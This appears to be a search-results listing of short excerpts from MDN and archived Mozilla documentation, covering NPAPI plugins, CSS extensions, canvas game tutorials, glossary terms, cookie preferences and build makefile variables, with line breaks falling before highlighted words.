from the .\plugins directory.) example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] path=c:\mycompany\myapplication\netscape\npmyapp.dll "xptpath" -- string value -- absolute path to xpt module required for scripting plug-in, if applicable example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myappl...
... "description" -- string value describing the module (distinct
from the "description" in the mimetypes subkey).
Writing a plugin for Mac OS X - Archive of obsolete content
this article is adapted
from josh aas's blog post writing an npapi plugin for mac os x.
... to install the plugin, just copy it into one of these two locations: /library/internet plugins/ ~/library/internet plugins/
from this point, you can simply modify the sample plugin to do whatever you want.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
please use the following diagram as a reference: as you can see
from the diagram above, it's pretty easy to set up a plugin using gtk2.
...if you return with an error
from your initialization function the plugin will not be used which avoids crashes and other problems.
Syndicating content with RSS - Archive of obsolete content
linking
from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon.
...the icon looks like the following: you can get more icons like this
from feed icons.
Getting Started - Archive of obsolete content
however, those experienced with rss may also find this useful as an aid in filling in any missing information about rss that they were not aware of, or as a re
fresher guide.
... to get the most
from this tutorial, you will need a text editor and a rss reader.
.htaccess ( hypertext access ) - Archive of obsolete content
common application url redirects & rewrite: htaccess files are often used to redirect traffic to a web page to another or
from traffic to a directory to another even between domains is possible.
... deny
from 146.0.74.205 # blocks all access
from 146.0.74.205 to the directory ssi or server side include : include external files to each file requested by the user without the need to write include statements in the file; you can have them automatically attached to all the files, whether at top or bottom, automatically through your .htaccess file.
Confidentiality, Integrity, and Availability - Archive of obsolete content
confidentiality confidentiality refers to protecting information
from being accessed by unauthorized parties.
...if your bank records are posted on a public website, everyone can know your bank account number, balance, etc., and that information can't be erased
from their minds, papers, computers, and other places.
Security Controls - Archive of obsolete content
for example, sensitive data on a server may be protected
from external attack by several controls, including a network-based firewall, a host-based firewall, and os patching.
... the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat
from successfully breaching the system.
Digital Signatures - Archive of obsolete content
the content of the hashed data cannot, for all practical purposes, be deduced
from the hash-which is why it is called "one-way." similarly, in public key encryption, a key pair is generated for digital signing.
...the keys are related mathematically, but the parameters are chosen so that calculating the private key
from the public key is either impossible or prohibitively expensive.the encrypted hash, along with other information, such as the hashing algorithm, is known as a digital signature.
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag
from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits
from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers
from shipped bits resolve testing anomalies tag the tree with nsprpub_r...
...elease_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits
from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
Threats - Archive of obsolete content
but hackers may make out money, data and confidential information
from your website by infecting website with malware.
...for example, a mail which appears to be to be sent
from a bank, asking to verify your identity by giving away your private information.
Theme changes in Firefox 3 - Archive of obsolete content
as a result, the 'display' property should be removed
from .tab-drop-indicator-bar (including for dragging="true").
... mac os x file description of change browser/themes/pinstripe/browser/tabbrowser/tabdragindicator.png removed superfluous blank pixels
from the edges, so that the image is smaller.
Settings - Archive of obsolete content
the debugger has its own settings menu, which you can access
from an icon in the toolbar: each setting is a simple on/off switch: auto prettify minified sources with this option enabled, the debugger will automatically detect minified js files and pretty-print them.
... show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to javascript
from a language like coffeescript.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note: this screencast is originally
from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ this is an adaptation of a presentation that i gave while at mashup camp boston.
...i only really intended this to be a quick introduction to the subject, so please feel
free to explore it more!
Using IO Timeout And Interrupt On NT - Archive of obsolete content
if the thread subsequently exists and its <tt>prthread</tt> structure gets deleted, the pointer to the overlapped buffer will be pointing to
freed memory.
...the first <tt>pr_close()</tt> would succeed, but the second <tt>pr_close()</tt> would be
freeing
freed memory.
-ms-flow-into - Archive of obsolete content
the -ms-flow-into css property is a microsoft extension that gets or sets a value identifying an i
frame container in the document that serves as the region's data source.
... initial valuenoneapplies toi
frame elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none default.
-ms-wrap-margin - Archive of obsolete content
the -ms-wrap-margin css property is a microsoft extension that specifies a margin that offsets the inner wrap shape
from other shapes.
... remarks offsets created by the -ms-wrap-margin property are offset
from the outside of the exclusion.
CSS - Archive of obsolete content
s-content-zoom-snap-type css property is a microsoft extension that specifies how zooming is affected by defined snap-points.-ms-content-zoomingthe -ms-content-zooming css property is a microsoft extension that specifies whether zooming is enabled.-ms-filterthe -ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object.-ms-flow-
fromthe -ms-flow-
from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the content flow
from the data source.-ms-flow-intothe -ms-flow-into css property is a microsoft extension that gets or sets a value identifying an i
frame container in the document that serves as the region's data source.-ms-high-contrast-adjustthe -ms-hig...
...-select css property is a microsoft extension that toggles the gripper visual elements that enable touch text selection.-ms-wrap-flowthe -ms-wrap-flow css property is a microsoft extension that specifies how exclusions impact inline content within block-level elements.-ms-wrap-marginthe -ms-wrap-margin css property is a microsoft extension that specifies a margin that offsets the inner wrap shape
from other shapes.-ms-wrap-throughthe -ms-wrap-through css property is a microsoft extension that specifies how content should wrap around an exclusion element.:-moz-full-screen-ancestorthe :-moz-full-screen-ancestor css pseudo-class is a mozilla extension that represents all ancestors of the full-screen element, except containing
frames in parent documents, which are the full-screen element in thei...
Array.unobserve() - Archive of obsolete content
the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed
from browsers.
... description array.unobserve() should be called after array.observe() in order to remove an observer
from an array.
Generator comprehensions - Archive of obsolete content
however, it has been removed
from the standard and the firefox implementation.
...an array comprehension would create a full array in memory containing the doubled values: var doubles = [for (i in it) i * 2]; a generator comprehension on the other hand would create a new iterator which would create doubled values on demand as they were needed: var it2 = (for (i in it) i * 2); console.log(it2.next()); // the first value
from it, doubled console.log(it2.next()); // the second value
from it, doubled when a generator comprehension is used as the argument to a function, the parentheses used for the function call means that the outer parentheses can be omitted: var result = dosomething(for (i in it) i * 2); the significant difference between the two examples being that by using the generator comprehension, you woul...
Enumerator.moveFirst - Archive of obsolete content
example in following example, the movefirst method is used to evaluate members of the drivescollection
from the beginning of the list: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var
freegb = drv.
fr...
...eespace / bytespergb; var totalgb = drv.totalsize / bytespergb; s +=
freegb.tofixed(3) + " gb
free of "; s += totalgb.tofixed(3) + " gb"; } else { s += "not ready"; } s += "<br />"; e.movenext(); } return(s); } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
Enumerator - Archive of obsolete content
remarks collections differ
from arrays in that the members of a collection are not directly accessible.
... example the following code shows the usage of the enumerator object: var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); document.write(fso.drives); var e = new enumerator(fso.drives); var drivestring = ""; e.movefirst(); while (e.atend() == false) { var drv = e.item(); drivestring += drv.path + " - "; if (drv.isready){ var
freegb = drv.
freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; drivestring +=
freegb.tofixed(3) + " gb
free of "; drivestring += totalgb.tofixed(3) + " gb"; } else{ drivestring += "not ready"; } drivestring += "<br />";; e.movenext(); } document.write(drivestring); // output: <drive information properties the enumerator objec...
VBArray - Archive of obsolete content
this can only be done by retrieving the value
from an existing activex or other object.
... vbarray.toarray returns a standard javascript array converted
from a vbarray.
Object.unobserve() - Archive of obsolete content
the object.unobserve() method was used to remove observers set by object.observe(), but has been deprecated and removed
from browsers.
... description object.unobserve() should be called after object.observe() in order to remove an observer
from an object.
arguments.caller - Archive of obsolete content
function whocalled() { if (whocalled.caller == null) console.log('i was called
from the global scope.'); else console.log(whocalled.caller + ' called me!'); } examples the following code was used to check the value of arguments.caller in a function, but doesn't work anymore.
... function whocalled() { if (arguments.caller == null) console.log('i was called
from the global scope.'); else console.log(arguments.caller + ' called me!'); } specifications not part of any standard.
Server-Side JavaScript - Archive of obsolete content
sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server
from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages.
...but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge
from the netscape organization to continue to advance the state of web technologies.
forEach - Archive of obsolete content
feel
free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english grammar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in providing a foreach implementation.
...jswisher 15 aug 2011 <hr> is this a
from _core_ of javascript 1.5?
Building Mozilla XForms - Archive of obsolete content
getting started things to know first: the xforms extension has a dependency on the schema-validation extension, so you need to build both (that's done automatically) mozilla switched
from cvs to mercurial starting with firefox 3.5.
...the built xpi file will only install on a nightly snapshot
from the same day or your self-built firefox version.
XForms Range Element - Archive of obsolete content
introduction allows the user to choose a value
from within a specific range of values (see the spec).
... type restrictions the range element can be bound to a node of type xsd:duration, xsd:date, xsd:time, xsd:datetime, xsd:gyearmonth, xsd:gyear, xsd:gmonthday, xsd:gday, xsd:gmonth, xsd:float, xsd:decimal or xsd:double or any type derived
from one of these.
Archived open Web documentation - Archive of obsolete content
talk:javascript reference the guide section links to an interesting document discussing how to create and use private variables in objects, which is great if you want to protect the various properties within an object
from being poked at accidentally.
... standards-compliant authoring tools creating cross-browser code up
front will save you lots of time quality testing your web content.
Styling Abbreviations and Acronyms - Archive of obsolete content
ing those with learning disabilities, cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resource://gre-resources/html.css abbr[title], acronym[title] { text-decoration: dotted underline; } the solution if authors wish to remove the underline
from abbr and acronym elements, this can be done with the following rule: abbr[title], acronym[title] { text-decoration: none; } it may be better to lessen the visual weight of the border without actually removing it.
...removing the underline
from these elements will rob readers of an indication that there is extra information available.
2D collision detection - Game development
cript type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enter
frame", function () { if (rect1.x < rect2.x + rect2.w && rect1.x + rect1.w > rect2.x && rect1.y < rect2.y + rect2.h && rect1.h + rect1.y > rect2.y) { // collision detected!
... this.x + this.radius, this.y + this.radius, this.radius, 0, math.pi * 2 ); ctx.closepath(); ctx.fill(); ctx.restore(); } }); var circle1 = crafty.e("2d, canvas, circle").attr(dim1).circle(15, "red"); var circle2 = crafty.e("2d, canvas, circle, fourway").fourway(2).attr(dim2).circle(20, "blue"); circle2.bind("enter
frame", function () { var dx = (circle1.x + circle1.radius) - (circle2.x + circle2.radius); var dy = (circle1.y + circle1.radius) - (circle2.y + circle2.radius); var distance = math.sqrt(dx * dx + dy * dy); if (distance < circle1.radius + circle2.radius) { // collision detected!
Square tilemaps implementation: Scrolling maps - Game development
cameras can either be
free-form, controlled by the player (such as in strategy games) or follow an object (such as the main character in platform games.) regardless of the type of camera, we would always need information regarding its current position, viewport size, etc.
...the main difference is that we are adding the offsetx and offsety values to the target x and y coordinates, and these values are rounded, to avoid artifacts that would result
from the camera pointing at positions with floating point numbers.
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually aims to cover
frameworks, compilers, and debugging tools.
... toolchain for developing and debugging games how does this differ
from normal web app debugging?
Build the brick field - Game development
var brickrowcount = 3; var brickcolumncount = 5; var brickwidth = 75; var brickheight = 20; var brickpadding = 10; var brickoffsettop = 30; var brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't start being drawn right
from the edge of the canvas.
...now every single brick can be placed in its correct place row and column, with padding between each brick, drawn at an offset
from the left and top canvas edges.
Collision detection - Game development
a collision detection function to kick this all off we want to create a collision detection function that will loop through all the bricks and compare every single brick's position with the ball's coordinates as each
frame is drawn.
...add the following line to the draw() function, just below the drawpaddle() call: collisiondetection(); compare your code the collision detection of the ball is now checked on every
frame, with every brick.
Create the Canvas and draw on it - Game development
in our case the rectangle is painted 20 pixels
from the left side of the screen and 40 pixels
from the top side, and is 50 pixels wide and 50 pixels high, which makes it a perfect square.
...try adding this to the bottom of your javascript, saving and re
freshing: ctx.beginpath(); ctx.arc(240, 160, 20, 0, math.pi*2, false); ctx.fillstyle = "green"; ctx.fill(); ctx.closepath(); as you can see we're using the beginpath() and closepath() methods again.
Game over - Game development
it would be good
from the gameplay point of view to be able to lose.
...here's the piece of code
from the third lesson where we made the ball bounce off the walls: if(x + dx > canvas.width-ballradius || x + dx < ballradius) { dx = -dx; } if(y + dy > canvas.height-ballradius || y + dy < ballradius) { dy = -dy; } instead of allowing the ball to bounce off all four walls, let's only allow three now — left, top and right.
Track the score and win - Game development
counting the score if you can see your score throughout the game, eventually you can impress your
friends.
...or(var c=0; c<brickcolumncount; c++) { for(var r=0; r<brickrowcount; r++) { var b = bricks[c][r]; if(b.status == 1) { if(x > b.x && x < b.x+brickwidth && y > b.y && y < b.y+brickheight) { dy = -dy; b.status = 0; score++; } } } } } calling drawscore()
from the draw() function keeps the score up to date with every new
frame — add the following line inside draw(), just below the drawpaddle() call: drawscore(); displaying a winning message when all bricks have been destroyed collecting the points works well, but you won't be adding them forever — what about when all the bricks have been destroyed?
Extra lives - Game development
paddle.reset(game.world.width*0.5, game.world.height-5); game.input.ondown.addonce(function(){ lifelosttext.visible = false; ball.body.velocity.set(150, -150); }, this); } else { alert('you lost, game over!'); location.reload(); } } instead of instantly printing out the alert when you lose a life, we first subtract one life
from the current number and check if it's a non-zero value.
...in our case, on every outofbounds event the ballleavescreen will be executed, but when the ball leaves the screen we only want to remove the message
from the screen once.
Game development
you will find many useful tutorials and technique articles in the main menu on the left, so feel
free to explore.
...generated
from c/c++ using clang, or
from another language) and compiles that into asm.js, which can be run on the web.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
the term base64 originates
from a specific mime content transfer encoding.
... in javascript there are two functions respectively for decoding and encoding base64 strings: btoa(): creates a base-64 encoded ascii string
from a "string" of binary data ("btoa" should be read as "binary to ascii").
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
cors (cross-origin resource sharing) is a system, consisting of transmitting http headers, that determines whether browsers block
frontend javascript code
from accessing responses for cross-origin requests.
... origin indicates where a fetch originates
from.
CSS preprocessor - MDN Web Docs Glossary: Definitions of Web-related terms
a css preprocessor is a program that lets you generate css
from the preprocessor's own unique syntax.
... there are many css preprocessors to choose
from, however most css preprocessors will add some features that don't exist in pure css, such as mixin, nesting selector, inheritance selector, and so on.
GPL - MDN Web Docs Glossary: Definitions of Web-related terms
the (gnu) gpl (general public license) is a copyleft
free software license published by the
free software foundation.
... users of a gpl-licensed program are granted the
freedom to use it, read the source code, modify it and redistribute the changes they made, provided they redistribute the program (modified or unmodified) under the same license.
Git - MDN Web Docs Glossary: Definitions of Web-related terms
git is a
free, open-source, distributed source code management (scm) system.
...what sets it apart
from previous scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it.
Hotlink - MDN Web Docs Glossary: Definitions of Web-related terms
a hotlink (also known as an inline link) is an object (typically an image) directly linked to
from another site.
... the practice is often
frowned upon as it can cause unwanted bandwidth usage on the website hosting the linked-to object, and copyright concerns — it is considered stealing when it is done without permission.
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
ice (interactive connectivity establishment) is a
framework used by webrtc (among other technologies) for connecting two peers, regardless of network topology (usually for audio and video chat).
... the
framework algorithm looks for the lowest-latency path for connecting the two peers, trying these options in order: direct udp connection (in this case—and only this case—a stun server is used to find the network-facing address of a peer) direct tcp connection, via the http port direct tcp connection, via the https port indirect connection via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
the variable within the expression can not be accessed
from outside it.
... (function () { var aname = "barry"; })(); // variable aname is not accessible
from the outside scope aname // throws "uncaught referenceerror: aname is not defined" assigning the iife to a variable stores the function's return value, not the function definition itself.
LGPL - MDN Web Docs Glossary: Definitions of Web-related terms
lgpl (gnu lesser general public license) is a
free software license published by the
free software foundation.
...while any derivative work using a gpl-licensed program must be released under the same terms (
free to use, share, study, and modify), the lgpl only requires the lgpl-licensed component of the derivative program to continue using the lgpl, not the whole program.
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossless compression is a class of data compression algorithms that allows the original data to be perfectly reconstructed
from the compressed data.
...examples of lossless compression include gzip, brotli, webp, and png, lossy compression, on the other hand, uses inexact approximations by discarding some data
from the original file, making it an irreversible compression method.
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
actual performance is a measurement
from when a request is made, through the downloading, parsing and execution of all resources, and the final paint.
... there are
front end optimization techniques that can improve perceived performance, such as adding the defer or async attribute to scripts, or placing scripts at the end of documents, and placing css in the head of documents.
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
this therefore allows users to use websites without loading whole new pages
from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring.
... learn more general knowledge some of the most popular spa
frameworks include: react angular vue.js ...
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
from the hash of a given message, the signing process first generates a digital signature linked to the signing entity, using the entity's private key.
... on receiving the message, the verification process authenticates the sender - uses the sender's public key to decrypt the signature and recover the hash, which can only be created with the sender's private key, and checks message integrity - compares the hash with a newly calculated one
from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key.
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
these may be
from adding styles using a developer tool or
from a browser extension that automatically applies custom styles to content, such as stylus or stylish.
... author origin the author origin is the style origin which contains all of the styles which are part of the document, whether embedded within the html or loaded
from an external stylesheet file.
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
the global symbol registry is mostly built by javascript's compiler in
frastructure, and the global symbol registry's content is not available to javascript's run-time in
frastructure, except through these reflective methods.
... the method symbol.for(tokenstring) returns a symbol value
from the registry, and symbol.keyfor(symbolvalue) returns a token string
from the registry; each is the other's inverse, so the following is true: symbol.keyfor(symbol.for("tokenstring")) === "tokenstring" // true learn more general knowledge symbol (programming) on wikipedia javascript data types and data structures symbols in ecmascript 6 symbol in the mdn js reference object.getownpropertysymbols() ...
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
tti, proposed by the web incubator community group in 2018, is intended to provide a metric that describes when a page or application contains useful content and the main thread is idle and
free to respond to user interactions, including having event handlers registered.
... caveat: tti is derived by leveraging information
from the long tasks api.
UX - MDN Web Docs Glossary: Definitions of Web-related terms
its goal is to make a system easy to interact with
from the user's point of view.
...ux studies undertaken on a web page for example can demonstrate whether it is easy for users to understand the page, navigate to different areas, and complete common tasks, and where such processes could have less
friction.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments
from being relied upon and then breaking web developers' code during the standardization process.
...ernet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (old, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) sample usage: var requestanimation
frame = window.requestanimation
frame || window.mozrequestanimation
frame || window.webkitrequestanimation
frame || window.orequestanimation
frame || window.msrequestanimation
frame; learn more general knowledge vendor prefix on wikipedia ...
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav (web distributed authoring and versioning) is an http extension that lets web developers update their content remotely
from a client.
...author or creation date) link pages of any media type to related pages create sets of documents and retrieve hierarchical list copy and move webpages lock a document
from being edited by more than one person at a time learn more general knowledge webdav on wikipedia technical reference rfc 2518 rfc 3253 rfc 3744 ...
Web performance - MDN Web Docs Glossary: Definitions of Web-related terms
web performance is the objective time
from when a request for content is made until the requested content is displayed in the user's browser, objective render times, and the subjective user experience of load time and runtime.
...it is the
frames per second and times the main thread is not available for user interactions.
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
should become: var href = getxmlbaselink (/* xlink sans xml:base */ xinclude.getattribute('href'), /* element to query
from */ xinclude); function resolvexincludes(docu) { // http://www.w3.org/tr/xinclude/#xml-included-items var xincludes = docu.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'include'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.
...g) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('there must be an xpointer attribute present if "href" is empty an parse is "xml"'); return false; } } else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('
fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites ...
MDN Web Docs Glossary: Definitions of Web-related terms
digest digital certificate distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-
frequency signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f ...
... firefox os firewall first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint first-class function flex flex container flex item flexbox forbidden header name forbidden response header name fork
fragmentainer
frame rate (fps) ftp ftu function fuzz testing g gaia garbage collection gecko general header gif gij git global object global scope global variable glyph gonk google chrome gpl gpu g...
Test your skills: sizing - Learn web development
test this box by removing the content
from the html to make sure you still get a 100 pixel tall box even with no content.
...you should also give the inner box padding of 10% using the width (or inline size) as the size
from which that percentage is calculated.
Normal Flow - Learn web development
and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them
from it altogether.
...if you want to control the size of an inline element in this manner, you need to set it to behave like a block level element with display: block; (or even,display: inline-block; which mixes characteristics
from both.) that explains individual elements, but what about how elements interact with one another?
How CSS works - Learn web development
receives it
from the network).
...again, the html is as follows: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> let's suppose we apply the following css to it: span { border: 1px solid black; background-color: lime; } the browser will parse the html and create a dom
from it, then parse the css.
Learn to style HTML using CSS - Learn web development
looking to become a
front-end web developer?
...
from the beginning, you'll primarily apply colors to html elements and their backgrounds; change the size, shape, and position of elements; and add and define borders on elements.
What HTML features promote accessibility? - Learn web development
<ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in this example (which is used purely as a demonstration—do not do this), tabbing would jump
from “here” to “anywhere” to “there”.
... link titles if you have a link that isn’t self-descriptive, or the link destination could benefit
from being explained in more detail, you can add information to a link using the title attribute.
How do you host your website on Google App Engine? - Learn web development
google app engine is a powerful platform that lets you build and run applications on google’s in
frastructure — whether you need to build a multi-tiered web application
from scratch or host a static website.
... your website content must go inside the website folder, and its landing page must be called index.html, but apart
from that it can take whatever form you like.
Example 2 - Learn web development
js html content <form class="no-widget"> <select name="my
fruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /* ...
...y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="my
fruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">s...
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources
from a server.
... looking to become a
front-end web developer?
Test your skills: Functions - Learn web development
functions 1 for the first task, you have to create a simple function — choosename() — that prints a random name
from the provided array (names) to the provided paragraph (para), and then run it once.
... update the choosename() function so that it makes use of the random number function, takes the array to choose
from as a parameter (making it more flexible), and returns the result.
Test your skills: JSON - Learn web development
this basically means that you can't request a file
from one origin using code on a different origin.
... in the live code editor above, both the javascript code and the requested json file are on the same origin (the code sits on a github repo, and is embedded here in an <i
frame>).
The business case for web performance - Learn web development
definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even
frameworks.
...when a business site is slow, it can prevent users
from completing their intended task.
JavaScript performance - Learn web development
many applications are built with a javascrpit
framework, or multiple, with several additional dependencies.
...many applications are built with a javascrpit
framework, or multiple, with several additional dependencies.
The "why" of web performance - Learn web development
from a mobile device in northwest a
frica, it might cost two days of an average salary.
... here's some real-world examples of performance improvements: tokopedia reduced render time
from 14s to 2s for 3g connections and saw a 19% increase in visitors, 35% increase in total sessions, 7% increase in new users, 17% increase in active users and 16% increase in sessions per user.
Cross browser testing - Learn web development
looking to become a
front-end web developer?
... handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems
from happening, or fix problems that occur.
Chrome Worker Modules
you only need to do it once for each worker,
from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do this once for each worker, it doesn't hurt if you do it more than once.
...no attempt is made to fully isolate modules
from each other.
Accessibility information for UI designers and developers
use default controls controls that are built into browsers come with a lot of accessibility for
free.
... see also: understanding success criterion 2.3.3: animation
from interactions content on hover or focus if content is revealed on hover or focus, for example in tooltips, there are some things to keep in mind: if the extra content obscures existing content, there should be a way to close it without moving focus if the extra content is opened on hover, hovering the additional content itself should not cause it to disappear consistent navigation navig...
Lightweight themes
photoshop — tweak, rotate and touch up photos with photoshop® express, a
free online photo editor.
... submit your theme now
frequently asked questions for more information about lightweight themes, including content guidelines, please see these
frequently asked questions.
Cookies Preferences in Mozilla
network.cookie.cookiebehavior default value: 0 0 = accept all cookies by default 1 = only accept
from the originating site (block third party cookies) 2 = block all cookies by default 3 = use p3p settings (note: this is only applicable to older mozilla suite and seamonkey versions.) 4 = storage access policy: block cookies
from trackers network.cookie.lifetimepolicy default value: 0 0 = accept cookies normally 1 = prompt for each cookie (prompting was removed in firefox 44) 2 = accept for current session only 3 = accept for n days network.cookie.lifetime.days default v...
...e.lifetimepolicy is set to 1 true = accepts session cookies without prompting false = prompts for session cookies network.cookie.thirdparty.sessiononly default value: false true = restrict third party cookies to the session only false = no restrictions on third party cookies network.cookie.maxnumber default value: 1000 configures the maximum amount of cookies to be stored valid range is
from 0-65535, rfc 2109 and 2965 require this to be at least 300 network.cookie.maxperhost default value: 50 configures the maximum amount of cookies to be stored per host valid range is
from 0-65535, rfc 2109 and 2965 require this to be at least 20 network.cookie.disablecookieformailnews default value: true true = do not accept any cookies
from within mailnews or
from mail-style uris false =...
Creating a Firefox sidebar
as of firefox 23, the addpanel and addpersistentpanel functions have been removed
from the deprecated, netscape-derived window.sidebar object.
... that means the ability to add a traditional sidebar panel is no longer available
from web content.
Debugging
debugging
frame reflow and debugging table reflow notes on debugging issues in gecko's layout engine.
...note that these are replaced
frequently by our tinderboxes.
Gmake vs. Pymake
if you try to switch
from gmake to pymake or pymake to gmake the build will fail unless you did a relative configure.
... to configure relatively, invoke configure or client.mk
from your objdir.
Makefile - variables
xpidlsrcs internal: a list of .idl files to generate exported headers
from.
... default=$(dist)/bin xpi_name if set final_target=$(dist)/xpi-stage/$(xpi_name) dist_subdir if set final_target will be $(dist)/bin/$(dist_subdir) [ metro build ] l10n.mk and localization variable description en_us_binary_url server url
from which wget will ftp binaries.
Installing headers using EXPORTS
this is accomplished by setting make variables telling the build system which module the headers are for (since headers are organized by module under <tt>dist/include</tt>), and which headers need to be created
from idl files by xpidl.
...for xpidl-generated headers, you may also set xpidl_module to determine which typelib file is produced
from the idl files.
